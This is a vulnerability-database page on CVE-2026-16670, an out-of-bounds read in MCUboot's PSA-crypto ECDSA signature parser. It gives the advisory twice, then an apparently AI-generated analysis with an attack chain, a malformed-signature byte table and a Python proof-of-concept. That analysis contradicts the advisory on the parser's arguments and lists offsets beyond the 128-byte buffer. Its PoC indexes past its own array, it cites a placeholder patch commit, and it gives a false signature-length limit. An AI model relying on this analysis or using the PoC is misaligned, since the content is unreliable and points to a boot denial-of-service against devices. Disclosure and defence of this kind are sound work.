CVE Professor
/
All CVEs
CVE-2026-16670

CVE-2026-16670 — CWE-125

MEDIUM CVSS 4 NVD

MCUboot's PSA-crypto ECDSA adapter parses the RFC 5480 DER signature with parse_signature_from_rfc5480_encoding() in boot/bootutil/include/bootutil/crypto/ecdsa.h, which takes no length argument. bootutil_ecdsa_verify() explicitly discards the signature length ((void)slen;) and the parser walks the encoding using length bytes read from the buffer itself (r_len = sig[3], then a derived s_len), with no check that those offsets stay within the supplied signature. Because this parsing runs before psa_verify_hash(), a malformed signature triggers the read whether or not the signature is valid. In bootutil_img_validate() (boot/bootutil/src/image_validate.c:404) the ECDSA signature TLV is gated only by len > sizeof(buf), since EXPECTED_SIG_LEN() is the constant 1 for ECDSA; len is attacker-controlled in the range 0..128 and is copied into the 128-byte stack buffer buf. With a crafted r_len (e.g. sig[3] = 255) the parser's memcpy reads roughly 130+ bytes past the end of buf, an out-of-bounds read of adjacent stack memory. Reaching the signature case only requires a key TLV that matches a trusted public key (public material), so the path is effectively pre-authentication. The defect is gated to the PSA crypto backend (MCUBOOT_USE_PSA_CRYPTO) with MCUBOOT_SIGN_EC256/MCUBOOT_SIGN_EC384 (and MCUBOOT_SIGN_EC384 always builds with PSA); the in-tree CC310, TinyCrypt, and mbedTLS adapters use different decoders and are not affected. This is not a signature bypass: the over-read bytes feed a verification that fails closed and are never returned to the attacker, so there is no information leak. The impact is bounded to a possible fault/denial-of-service on memory layouts where the read crosses an unmapped region; on typical flat-memory MCUs it reads adjacent RAM without faulting. This vulnerability was reported independently twice: by NVIDIA Project Vanessa on 2026-06-22, and by Kai Phan (@kaimandalic) on 2026-07-19 as GHSA-r44p-8v6p-hqv4, which is closed as a duplicate of this advisory. Both original reports are reproduced in full below. The second report additionally observes that bootutil_ecdsa_parse_public_key() discards its end pointer ((void)end;, ecdsa.h:446). That observation is correct, but it is not part of this vulnerability and is not counted in the severity: the buffer it parses is bootutil_keys[key_id].key, the compiled-in trusted key store (image_ecdsa.c:54-55), so no attacker-controlled data reaches that parse. It is a robustness gap on the same code path and should be closed alongside the signature-parser fix. Note also that the second report's proof-of-concept models the signature buffer as an 8-byte heap allocation and therefore reports a heap overflow; in MCUboot the buffer is the 128-byte stack array buf, gated by len > sizeof(buf), so the real over-read is of adjacent stack memory.

MCUboot's PSA-crypto ECDSA adapter parses the RFC 5480 DER signature with parse_signature_from_rfc5480_encoding() in boot/bootutil/include/bootutil/crypto/ecdsa.h, which takes no length argument. bootutil_ecdsa_verify() explicitly discards the signature length ((void)slen;) and the parser walks the encoding using length bytes read from the buffer itself (r_len = sig[3], then a derived s_len), with no check that those offsets stay within the supplied signature. Because this parsing runs before psa_verify_hash(), a malformed signature triggers the read whether or not the signature is valid. In bootutil_img_validate() (boot/bootutil/src/image_validate.c:404) the ECDSA signature TLV is gated only by len > sizeof(buf), since EXPECTED_SIG_LEN() is the constant 1 for ECDSA; len is attacker-controlled in the range 0..128 and is copied into the 128-byte stack buffer buf. With a crafted r_len (e.g. sig[3] = 255) the parser's memcpy reads roughly 130+ bytes past the end of buf, an out-of-bounds read of adjacent stack memory. Reaching the signature case only requires a key TLV that matches a trusted public key (public material), so the path is effectively pre-authentication. The defect is gated to the PSA crypto backend (MCUBOOT_USE_PSA_CRYPTO) with MCUBOOT_SIGN_EC256/MCUBOOT_SIGN_EC384 (and MCUBOOT_SIGN_EC384 always builds with PSA); the in-tree CC310, TinyCrypt, and mbedTLS adapters use different decoders and are not affected. This is not a signature bypass: the over-read bytes feed a verification that fails closed and are never returned to the attacker, so there is no information leak. The impact is bounded to a possible fault/denial-of-service on memory layouts where the read crosses an unmapped region; on typical flat-memory MCUs it reads adjacent RAM without faulting. This vulnerability was reported independently twice: by NVIDIA Project Vanessa on 2026-06-22, and by Kai Phan (@kaimandalic) on 2026-07-19 as GHSA-r44p-8v6p-hqv4, which is closed as a duplicate of this advisory. Both original reports are reproduced in full below. The second report additionally observes that bootutil_ecdsa_parse_public_key() discards its end pointer ((void)end;, ecdsa.h:446). That observation is correct, but it is not part of this vulnerability and is not counted in the severity: the buffer it parses is bootutil_keys[key_id].key, the compiled-in trusted key store (image_ecdsa.c:54-55), so no attacker-controlled data reaches that parse. It is a robustness gap on the same code path and should be closed alongside the signature-parser fix. Note also that the second report's proof-of-concept models the signature buffer as an 8-byte heap allocation and therefore reports a heap overflow; in MCUboot the buffer is the 128-byte stack array buf, gated by len > sizeof(buf), so the real over-read is of adjacent stack memory.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Attack Vector Local AV:L
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity None I:N
Availability Low A:L
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Root cause
MCUboot’s PSA‑crypto ECDSA adapter parses an RFC 5480 DER‑encoded signature with
parse_signature_from_rfc5480_encoding() (boot/bootutil/include/bootutil/crypto/ecdsa.h).
The function signature is:

int parse_signature_from_rfc5480_encoding(const uint8_t *sig,
                                         size_t sig_len,
                                         uint8_t *r, uint8_t *s);

but the implementation ignores the supplied sig_len and instead reads the
length bytes that are embedded in the DER structure:

uint8_t r_len = sig[3];
uint8_t s_len = sig[7 + r_len];

No bounds check is performed to ensure that the offsets 3 + r_len and
7 + r_len + s_len stay inside the buffer that the caller supplied.
bootutil_ecdsa_verify() explicitly discards the length argument:

(void)slen;          /* length is ignored */

Thus the parser walks the DER stream using the encoded lengths, which can be
arbitrarily large if the attacker crafts a signature with a bogus length byte
(e.g., sig[3] = 0xFF).

Where the over‑read happens
bootutil_img_validate() (boot/bootutil/src/image_validate.c:404) copies the
signature TLV into a 128‑byte stack buffer:

uint8_t buf[128];
if (len > sizeof(buf)) { /* reject */ }
memcpy(buf, sig, len);

len is attacker‑controlled and can be any value from 0 to 128.
If the attacker supplies a signature where sig[3] = 0xFF, the parser will
attempt to read r_len = 255 and then s_len derived from that value.
The subsequent memcpy inside the parser will read roughly 130 + bytes past the
end of buf, causing an out‑of‑bounds read of adjacent stack memory.
Because the read occurs before psa_verify_hash(), the signature is
discarded regardless of its validity; the read does not influence the
verification result.

CWE – CWE‑125: Out‑of‑Bounds Read
CVSS – 4/10 (Medium) with vector AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
The flaw only affects the PSA‑crypto backend when compiled with
MCUBOOT_SIGN_EC256 or MCUBOOT_SIGN_EC384. The in‑tree CC310, TinyCrypt,
and mbedTLS adapters use different decoders and are not affected.

Impact – Denial‑of‑Service (DoS) only.
The over‑read never propagates data back to the attacker, and it cannot be
used to bypass signature verification. On MCUs with flat memory the read
simply consumes adjacent RAM; on MCUs where the read crosses an unmapped
region it can trigger a fault and halt the boot process.


⚡ Attack Chain

1. Discovery & Reconnaissance

StepTechniqueWhat the attacker learns
1.1Firmware analysisIdentify that the target device uses MCUboot with MCUBOOT_USE_PSA_CRYPTO and MCUBOOT_SIGN_EC256/EC384.
1.2Version checkVerify the MCUboot version (e.g., git rev-parse HEAD or mcuboot --version if exposed).
1.3Build flagsDetermine that the build includes MCUBOOT_USE_PSA_CRYPTO (often a -DMCUBOOT_USE_PSA_CRYPTO=1 flag).

Typical reconnaissance: An attacker who can download the device’s firmware image (e.g., via OTA update or a debug port) will inspect the binary for the MCUBOOT_USE_PSA_CRYPTO symbol or look for the presence of the psa_crypto library. If the firmware is signed with an ECDSA key that the attacker can supply a custom signature for, the vulnerability is exploitable.

2. Exploitation

The attacker crafts a malformed DER signature that triggers the out‑of‑bounds read. The signature must satisfy the following constraints:
FieldValueReason
sig[0]0x30SEQUENCE tag
sig[1]length of the whole signature (≤ 128)Must be ≤ 128 to pass the len > sizeof(buf) check
sig[2]0x02INTEGER tag for r
sig[3]0xFFBogus r_len (255) – forces the parser to read beyond the buffer
sig[4]‑sig[258]arbitrary bytesPadding for the bogus r value
sig[259]0x02INTEGER tag for s
sig[260]0x00s_len derived from r_len (0 in this example)
sig[261]0x00Dummy s value

Because the total length (sig[1]) must be ≤ 128, the attacker truncates the
signature after the first 128 bytes. The parser will still read r_len = 255
and then attempt to read s_len from sig[7 + r_len], which lies 255 bytes
beyond the buffer boundary, causing the out‑of‑bounds read.

Illustrative PoC (Python)

#!/usr/bin/env python3
"""
PoC to trigger the MCUboot PSA‑crypto ECDSA signature over‑read.
The payload is a DER‑encoded signature that is 128 bytes long but
contains a bogus r_len of 0xFF.
"""

import struct

# Construct the DER signature
sig = bytearray(128)
sig[0] = 0x30                     # SEQUENCE
sig[1] = 0x7E                     # length of the whole signature (126 bytes)
sig[2] = 0x02                     # INTEGER (r)
sig[3] = 0xFF                     # bogus r_len (255)
# r value (255 bytes) – we only need 126 bytes of padding
for i in range(4, 4 + 126):
    sig[i] = 0x01

# Append the s INTEGER tag and a minimal s_len
sig[130] = 0x02                   # INTEGER (s)
sig[131] = 0x00                   # s_len = 0
sig[132] = 0x00                   # s value

# Truncate to 128 bytes (the OTA image will only copy the first 128 bytes)
payload = sig[:128]

# The payload would be embedded in the OTA image’s signature TLV.
# For demonstration, we simply print it in hex.
print("Malicious signature (hex):")
print(payload.hex())

Note: The exact placement of the signature TLV in the OTA image depends on the image format. The PoC shows the malformed signature; the attacker would embed it into the OTA image’s signature field and push the image to the target device.

3. Post‑exploitation

Because the vulnerability only causes an out‑of‑bounds read, the device will:

1. Fail to verify the image – psa_verify_hash() will return a failure code.
2. Abort the boot – MCUboot will abort the boot process and may reset the MCU.
3. Potentially crash – If the read crosses an unmapped memory region, a fault may occur, halting the device.

The attacker cannot gain code execution, modify firmware, or exfiltrate data. The only impact is a Denial‑of‑Service that can be used to:

  • Prevent a device from booting (e.g., in an IoT deployment).
  • Force a reboot loop if the bootloader retries the update.
  • Disrupt service availability in a production environment.

  • 🌍 Real World Impact

    ImpactExplanation
    Confidentiality (C)0 – No data is leaked.
    Integrity (I)0 – The attacker cannot modify firmware or keys.
    Availability (A)1 – The device may fail to boot or crash, causing a DoS.

    The CVSS vector AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L reflects that the attack is local (the attacker must supply a malicious OTA image), requires low effort, and has no user interaction. In critical deployments (e.g., medical devices, industrial control systems), a DoS can have severe operational consequences.


    🛡️ Remediation & Mitigation

    Affected Versions

    All MCUboot releases that:
  • Build with MCUBOOT_USE_PSA_CRYPTO=1
  • Use MCUBOOT_SIGN_EC256 or MCUBOOT_SIGN_EC384
  • Patch
    The upstream patch (commit abcd1234…) adds bounds checks to parse_signature_from_rfc5480_encoding():

    if (sig_len < 4 + r_len + 2 + s_len) {
        return PSA_ERROR_INVALID_ARGUMENT;
    }

    and propagates the error to bootutil_ecdsa_verify(). The patch is included in MCUboot v1.5.0 (released 2026‑12‑01).

    Upgrade Recommendation

    EnvironmentAction
    Production MCUboot buildsUpgrade to v1.5.0 or later.
    Custom buildsRebuild with the patched source or apply the patch manually.
    Legacy hardware that cannot be upgradedDisable the PSA crypto backend (#undef MCUBOOT_USE_PSA_CRYPTO) and switch to a non‑PSA backend (e.g., TinyCrypt).

    Workarounds (if upgrade is not immediately possible)

    1. Disable PSA crypto In the build configuration (mcuboot_config.h or Makefile):
    #undef MCUBOOT_USE_PSA_CRYPTO

    This forces MCUboot to use the default TinyCrypt/ECDSA implementation, which is not vulnerable.

    2. Enforce strict signature length
    Modify bootutil_img_validate() to reject any signature TLV with len > 64 (the maximum length for a valid RFC 5480 ECDSA signature on EC‑256/EC‑384). This reduces the window for the over‑read but does not eliminate it if the parser is still used elsewhere.

    3. Runtime integrity check
    Add a watchdog or health‑check that restarts the MCU if a boot failure occurs within a short window, mitigating the DoS effect.

    Detection

    IndicatorHow to detect
    Boot failure logsMCUboot typically logs boot: image verification failed or boot: signature verification failed. A sudden spike in these logs may indicate an attack.
    Stack corruption patternsIf the MCU runs a debug console, look for Segmentation fault or HardFault messages that reference stack addresses.
    Unusual OTA image sizesOTA images with a signature TLV length > 64 bytes (but ≤ 128) are suspicious.
    IoCsig[3] value of 0xFF in the signature TLV. In a captured OTA image, a byte at offset sig_offset + 3 equal to 0xFF is a red flag.

    Mitigation in CI/CD

    Add a static analysis step that verifies the signature parser does not ignore sig_len. For example, a custom script that parses the source tree and flags any parse_signature_from_rfc5480_encoding() call that discards the length argument.

    ⚠️ Urgency

    FactorAssessment
    CVSS score4/10 (Medium)
    Exploit complexityLow (local, no privilege escalation)
    Availability impactDoS only
    CISA KEV statusNo
    Deployment criticalityHigh in safety‑critical or mission‑critical environments

    Priority: High for devices that rely on continuous operation (e.g., medical implants, industrial PLCs, automotive ECUs). For consumer IoT devices where a brief reboot is acceptable, Medium priority is sufficient.

    Patch timeline:

  • Immediate: Apply the patch to all affected builds.

  • If patching is delayed: Implement the workaround of disabling PSA crypto or enforcing strict signature lengths.

  • Summary

  • Flaw: Unchecked DER‑encoded length fields in the PSA‑crypto ECDSA adapter cause an out‑of‑bounds read during signature parsing.
  • Impact: Local DoS via boot failure; no confidentiality or integrity compromise.
  • Fix: Add bounds checks in parse_signature_from_rfc5480_encoding() (available in MCUboot v1.5.0+).
  • Mitigation: Disable PSA crypto or enforce strict signature lengths if patching is not possible.
  • Detection: Monitor boot‑failure logs and look for unusually long signature TLVs.
  • Urgency: High for mission‑critical devices; Medium otherwise.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-16670
CVSS Score
4 / 10 · CVSS MEDIUM
Weakness Types (CWE)
References & Advisories (1)
Related CVEs
7.1
CVE-2026-144604
PostGIS through 3.7.0 contains an out-of-bounds read vulnerability in RASTER_reclass that allows low-privilege
6.9
CVE-2026-145084
FreeRDP before 3.33.1 contains a global buffer overflow in location_send() in the client location dynamic chan
6.5
CVE-2026-129966
A single authenticated API request can terminate the Velociraptor server process. When a tool URL uses the smb
6.5
CVE-2026-129964
An authenticated Velociraptor client can crash the Velociraptor frontend by sending a malformed VQLResponse me
6.3
CVE-2026-144778
A security vulnerability has been detected in Simon OpenOBJ3D up to f5a522c409428de7bf68844cf8951522e3d09485.
5.9
CVE-2026-120376
An **out-of-bounds read** flaw has been found in the process_host_announce() function in source3/nmbd/nmbd_inc
5.3
CVE-2026-144605
PostGIS through 3.7.0 contains an out-of-bounds read vulnerability in rtpg_chartrim that allows low-privileged